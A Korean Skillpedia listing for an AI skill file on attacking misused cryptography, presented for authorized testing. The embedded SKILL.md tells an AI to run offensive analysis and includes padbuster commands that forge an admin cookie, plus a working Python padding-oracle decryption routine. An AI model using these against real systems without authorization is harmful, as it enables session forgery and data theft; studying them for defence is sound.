본문으로 건너뛰기
Skillpedia
보안10k · #11953

offensive-crypto-attacks

하는 일

이 스킬은 애플리케이션의 잘못된 암호화 사용을 찾는 방법론입니다. 약한 모드, 패딩 문제, 약한 서명을 다룹니다. 허가를 받고 앱이 암호화를 어떻게 사용하는지 검토하는 보안 전문가를 위한 스킬입니다.

사용하는 경우

  • ✓승인된 앱 테스트에서 암호화된 쿠키나 토큰을 검토할 때.
  • ✓앱이 약한 암호화 모드나 잘못된 패딩을 쓰는 것 같을 때.
  • ✓앱이 해시나 서명된 링크를 어떻게 만드는지 약점이 있는지 확인하고 싶을 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/crypto/offensive-crypto-attacks/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/crypto/offensive-crypto-attacks/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“웹 앱을 테스트할 승인을 받았습니다. 암호화된 쿠키가 약한 모드나 패딩을 쓰는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 데이터가 암호화되거나 서명되는 위치를 찾은 뒤, 알고리즘과 모드를 파악합니다. 발견한 약점을 분류하고 근본 원인과 수정 방법을 기록합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Cryptographic Implementation Attacks

You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.

Quick Workflow

  1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
  2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
  3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
  4. Select and configure the appropriate tool or custom script.
  5. Execute the attack, decrypt or forge the target value.
  6. Document the cryptographic weakness, its root cause, and the remediation path.

Padding Oracle Attacks

Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.

Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.

Use padbuster for automated exploitation against web applications:

# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid"

# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid" \
  -plaintext "admin=true;user=attacker"

Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

ECB Block Manipulation

ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.

Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:

def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption
자주 묻는 질문

암호의 수학적 원리를 공격하나요?

아니요. 기저 알고리즘을 깨는 것이 아니라 개발자가 암호화를 사용하는 방식에 집중합니다.

약점을 찾은 뒤 무엇을 권하나요?

약점, 근본 원인, 팀을 위한 해결 경로를 문서화합니다.

승인된 테스트에만 쓰나요?

네. 서면 허가를 받은 평가를 위해 작성되었습니다.

상세 정보

작성자의 원본 설명

Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses wea

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11953
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬